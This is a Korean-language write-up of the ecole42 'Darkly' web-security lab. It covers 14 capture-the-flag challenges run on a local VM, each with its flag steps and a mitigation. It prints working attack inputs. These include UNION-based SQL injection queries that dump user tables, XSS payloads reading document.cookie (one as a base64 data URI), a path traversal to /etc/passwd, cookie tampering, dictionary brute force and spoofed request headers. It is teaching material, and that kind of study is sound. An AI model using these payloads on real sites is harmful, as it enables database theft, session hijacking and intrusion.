Darkly
개요
웹사이트를 개발할 때, 우리는 World Wide Web에서 노출되는 위험에 대해 잘 알지 못한다. Darkly는 ecole42의 웹 분야 프로젝트 중 하나로, 웹사이트가 얼마나 취약한지, 그리고 프레임워크가 우리를 위해 얼마나 많은 일을 하고 있는지 알려준다.
프로젝트를 시작하기 전에 OWASP - 웹 보안 테스팅 가이드를 읽어보는 것을 강력히 권장한다.
Darkly_i386.iso VM 실행 (Ubuntu 18.04)
sudo apt-get install qemu
sudo apt-get install virt-manager
sudo virt-manager
프로젝트 구조
이 프로젝트는 총 14개의 웹 보안 취약점 챌린지로 구성되어 있다. 각 챌린지는 특정 웹 보안 취약점을 다루며, 플래그를 획득하는 것이 목표다.
챌린지 목록
01. robots.txt_1
경로: /whatever
설명:
robots.txt 파일은 웹 크롤러가 접근할 수 있는 경로를 지정하는 파일이다. 이 챌린지에서는 robots.txt에 명시된 /whatever 경로를 탐색하여 관리자 페이지 접근 정보를 찾아야 한다.
플래그 획득 방법:
/whatever경로에서 htpasswd 파일 확인- 해시 값
8621ffdbc5698829397d97767ac13db3를 hashtoolkit.com에서 복호화 →dragon - dirb를 사용하여 웹 콘텐츠 URL 탐색
sudo apt install dirb dirb http://server_ip - 관리자 페이지(
http://server_ip/admin/) 접근- ID:
root - Password:
dragon
- ID:
취약점:
민감한 정보가 노출됨
해결 방법:
- robots.txt에서
Disallow대신 nginx 서버에서 noindex 설정 - 민감한 폴더와 파일에 적절한 권한 설정
리소스:
02. robots.txt_2
경로: /.hidden
설명:
robots.txt에 명시된 /.hidden 디렉토리를 탐색하여 플래그를 찾아야 합니다.
플래그 획득 방법:
sh getflag.sh [server_ip]
스크립트는 .hidden 디렉토리를 재귀적으로 다운로드하고 플래그를 검색한다.
취약점:
민감한 정보가 노출됨
해결 방법:
- robots.txt에서
Disallow대신 nginx 서버에서 noindex 설정 - 민감한 폴더와 파일에 적절한 권한 설정
리소스:
03. Cookies
경로: 메인 페이지
설명:
HTTP는 상태를 유지하지 않는 프로토콜이므로, 세션 관리를 위해 쿠키를 사용한다. 이 챌린지에서는 쿠키 값을 조작하여 관리자 권한을 획득해야 한다.
플래그 획득 방법:
- 개발자 도구의 Application 탭에서 쿠키 확인
I_am_admin쿠키 값을 변경:- 변경 전:
68934a3e9455fa72420237eb05902327 - 변경 후:
b326b5062b2f0e69046810717534cb09 - (해시 값은 hashtoolkit.com에서 확인 가능)
- 변경 전:
- 변경 후 알림 메시지에서 플래그 확인
취약점:
쿠키 값을 변경하여 누구나 관리자가 될 수 있음
해결 방법:
- 중요한 데이터를 쿠키에 저장하지 않기
- 데이터베이스에 저장
- 세션 관리의 경우 암호학적으로 강력한 세션 ID 생성
리소스:
04. Hidden Form
경로: /?page=recover
설명:
숨겨진 입력 필드의 값을 조작하여 플래그를 획득해야 한다.
플래그 획득 방법:
- 페이지 소스에서 숨겨진 입력 필드 확인:
<input type="hidden" name="mail" value="webmaster@borntosec.com" maxlength="15" /> - 값을 변경하고 제출 버튼 클릭
취약점:
화면에 보이지 않더라도 숨겨진 입력 필드는 조작 가능함. 이 경우 수신자 이메일 주소를 변경할 수 있음
해결 방법:
- 민감한 정보가 포함된 숨겨진 입력 필드 값 대신 백엔드에서 처리
- 숨겨진 폼(실제로는 모든 프론트엔드 코드)이 조작될 수 있음을 인지
05. Member SQL Injection
경로: /index.php?page=member
설명:
회원 ID에 따라 회원 정보를 표시하는 페이지에서 SQL 인젝션 공격을 통해 데이터베이스 정보를 추출해야 한다.
플래그 획득 방법:
-
MySQL 지문 인식:
- 작은따옴표(
') 입력하여 에러 메시지 확인 - 또는
1 /*! and 1=0 */입력 (MySQL만 해석)
- 작은따옴표(
-
버전 확인:
1 AND 1=0 UNION SELECT 1, version()- 결과: 5.5.44
-
데이터베이스, 스키마, 테이블 목록 확인:
1 AND 1=0 UNION SELECT 1, DATABASE() 1 AND 1=0 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=DATABASE() 1 AND 1=0 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_schema=DATABASE()- 결과:
- DB/Schema:
Member_Sql_Injection - 테이블:
users - 컬럼:
user_id,first_name,last_name,town,country,planet,Commentaire,countersign
- DB/Schema:
- 결과:
-
플래그 찾기:
1 AND 1=0 UNION SELECT 1, concat(Commentaire, countersign) FROM users- 결과:
5ff9d0165b4f92b14994e5c685cdce28 - hashtoolkit.com에서 복호화 →
FortyTwo - 소문자 변환:
fortytwo - SHA256 해시:
10a16d834f9b1e4068b25c4c46fe0284e99e44dceaf08098fc83925ba6310ff5
- 결과:
취약점:
공격자가 데이터베이스의 모든 데이터를 가져올 수 있음
해결 방법:
- 데이터베이스 지문 인식: 에러 메시지 표시하지 않기
- 사용자 제공 데이터로 쿼리 구성하지 않기. PHP의 경우 PDO 사용
- API 사용
리소스:
06. Images SQL Injection
경로: /index.php?page=searchimg
설명:
이미지 ID에 따라 이미지 정보를 표시하는 페이지에서 SQL 인젝션 공격을 통해 플래그를 획득해야 한다.
플래그 획득 방법:
-
데이터베이스 지문 인식:
- 작은따옴표(
') 입력하여 사용 중인 DB 서버 확인
- 작은따옴표(
-
데이터베이스, 테이블 확인:
1 AND 1=0 UNION SELECT 1, DATABASE() 1 AND 1=0 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=DATABASE() 1 AND 1=0 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_schema=DATABASE()- 결과:
- DB:
Member_images - 테이블:
list_images - 컬럼:
id,url,title,comment
- DB:
- 결과:
-
플래그 찾기:
1 AND 1=0 UNION SELECT 1, concat(url, title, comment) FROM list_images- 결과:
1928e8083cf461a51303633093573c46 - hashtoolkit.com에서 복호화 →
albatroz - 소문자 변환:
albatroz - SHA256 해시:
f2a29020ef3132e01dd61df97fd33ec8d7fcd1388cc9601e7db691d17d4d6188
- 결과:
취약점:
공격자가 데이터베이스의 모든 데이터를 가져올 수 있음
해결 방법:
- 데이터베이스 지문 인식: 에러 메시지 표시하지 않기
- 사용자 제공 데이터로 쿼리 구성하지 않기. PHP의 경우 PDO 사용
리소스:
07. Feedback XSS
경로: /index.php?page=feedback
설명:
피드백 페이지에서 저장된 XSS(Cross-Site Scripting) 공격을 수행해야 한다. 서버는 <script> 태그를 제외한 HTML 태그를 체크하지 않는다.
플래그 획득 방법:
이름 입력 필드에 다음 값을 입력:
alert
<img src='aaa' onerror="alert(document.cookie)">
취약점:
저장된 XSS는 가장 위험한 유형의 XSS다. 데이터 저장을 허용하는 웹 애플리케이션은 이 공격에 취약할 수 있다.
이 취약점은 다음과 같은 브라우저 기반 공격에 사용될 수 있습니다:
- 다른 사용자의 브라우저 하이재킹
- 애플리케이션 사용자가 본 민감한 정보 캡처
- 애플리케이션의 가짜 디페이스
- 내부 호스트의 포트 스캔
- 브라우저 기반 익스플로잇의 직접 전달
- 기타 악의적인 활동
해결 방법:
항상 사용자 입력을 검증하고 서버 출력을 필터링
리소스:
08. Data URI XSS
경로: /?page=media&src=nsa
설명:
Data URI는 RFC 2397에 정의된 작은 파일을 HTML 문서에 인라인으로 임베드하는 방법이다. 이미지가 object 태그로 렌더링되며, src 파라미터에 따라 데이터가 표시된다.
플래그 획득 방법:
-
스크립트 코드를 base64로 인코딩:
<script>alert(document.cookie)</script>→
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ -
다음 URL로 접근:
/?page=media&src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ
object 태그의 'data' 속성은 객체의 데이터를 참조하는 URL을 정의한다.
취약점:
이 기술은 다양한 MIME 타입의 파일을 동적으로 생성할 수 있게 한다. 공격자는 다양한 오버플로우 취약점을 악용하기 위한 악성 페이로드를 포함한 파일을 생성할 수 있다.
해결 방법:
object 및 embed 태그를 사용하지 않기. XSS에 취약함
리소스:
09. Upload XSS
경로: /index.php?page=upload
설명:
파일 업로드 기능에서 파일 확장자만 확인하고 실제 파일 유형을 검증하지 않아 XSS 공격이 가능하다.
플래그 획득 방법:
sh getflag.sh [server_ip]
스크립트는 xss.php 파일을 JPEG MIME 타입으로 업로드한다.
취약점:
다른 XSS 공격과 동일하게 매우 치명적이고 위험함. 공격자가 클라이언트 정보 등을 탈취할 수 있음
해결 방법:
MIME 타입 체크뿐만 아니라 이미지 유효성 검사가 필요함
PHP의 경우:
exif_imagetype('path/to/image.jpg');
리소스:
10. etc/passwd
경로: /index.php?page=../../../../../../../etc/passwd
설명:
페이지 파라미터를 통한 경로 탐색(Path Traversal) 공격을 수행하여 서버의 /etc/passwd 파일에 접근해야 한다.
플래그 획득 방법:
페이지 변경 시 URL 파라미터 page가 변경되는 것을 확인:
http://server_ip/?page=some_page
이 취약점을 악용하여 서버 측 파일, 특히 /etc/passwd를 탐색:
/index.php?page=../../../../../../../etc/passwd
취약점:
공격자가 서버의 모든 파일에 접근할 수 있음
해결 방법:
서버 폴더 탐색을 허용하지 않기. 모든 페이지 파일이 특정 폴더 아래에 있도록 설정
11. Social Link
경로: 메인 페이지
설명:
소셜 링크 요소를 검사하고 site 파라미터 값을 변경하여 플래그를 획득해야 한다.
플래그 획득 방법:
소셜 링크 요소를 검사하고 site 파라미터 값을 변경:
<a href="index.php?page=redirect&site=whatever" class="icon fa-facebook"></a>
취약점:
공격자가 site 값을 변경하여 동적으로 가짜 링크를 만들 수 있음
해결 방법:
동적 링크 대신 백엔드에서 생성한 정적 링크 사용:
<a href="https://www.facebook.com/42born2code/" class="icon fa-facebook"></a>
12. Survey
경로: /index.php?page=survey
설명:
설문조사 페이지에서 select 태그의 옵션 값을 변경하여 플래그를 획득해야 한다.
플래그 획득 방법:
HTML을 검사하고 select 태그의 옵션 값을 변경
취약점:
로컬에서만 데이터를 검증하면 프록시를 통한 서버 인젝션이나 다른 시스템과의 핸드오프에서 애플리케이션이 취약해질 수 있음
해결 방법:
백엔드에서 검증 체크 수행
리소스:
13. Brute Force
경로: /index.php?page=signin
설명:
브루트 포스 공격은 암호화 해킹으로, 대상 암호의 가능한 조합을 추측하여 올바른 암호를 발견할 때까지 시도하는 공격이다. 가장 기본적인 브루트 포스 공격은 사전 공격으로, 공격자가 가능한 암호 사전을 통해 모든 암호를 시도한다.
플래그 획득 방법:
-
로그인 시도 시 GET 요청으로 데이터가 전송됨:
/index.php?page=signin&username=any_id&password=any_password&Login=Login# -
많은 경우 관리자 ID가
admin이므로, 이를 사용하여 브루트 포스 공격 실행:sh getflag.sh [server_ip]
스크립트는 dictionary.txt 파일의 암호 목록을 사용하여 공격을 수행한다.
취약점:
추측 가능한 ID와 암호는 브루트 포스 공격에 취약함
해결 방법:
- 길고 복잡한 암호 사용
- 추측 가능한 관리자 ID 사용하지 않기
- 비정상적인 로그인 시도 제한
- 로그인에 GET 대신 POST 사용
리소스:
14. NSA
경로: /?page=e43ad1fdc54babe674da7c7b8f0127bde61de3fbe01def7d00f151c2fcca6d1c
설명:
HTTP 요청 헤더를 조작하여 플래그를 획득해야 한다. 페이지 소스의 주석에서 힌트를 찾을 수 있다.
플래그 획득 방법:
페이지를 검사하면 다음 주석을 찾을 수 있다:
<!--
You must cumming from : "https://www.nsa.gov/" to go to the next step
-->
<!--
Let's use this browser : "ft_bornToSec". It will help you a lot.
-->
이 힌트는 Referer를 "https://www.nsa.gov/"로 설정하고 User-Agent를 "ft_bornToSec"로 설정해야 함을 나타낸다.
sh getflag.sh [server_ip]
취약점:
HTTP 요청 헤더는 조작될 수 있다. 서버 측에서 HTTP 요청 헤더와 관련된 중요한 로직이 있는지 확인해야 한다
예를 들어, 특정 페이지 B에서만 특정 페이지 A에 들어갈 수 있도록 허용하는 경우, referrer를 확인하는 것은 좋은 방법이 아니다
해결 방법:
수정할 것은 없음. referer와 user-agent가 조작될 수 있음을 인지하기만 하면 됨
리소스: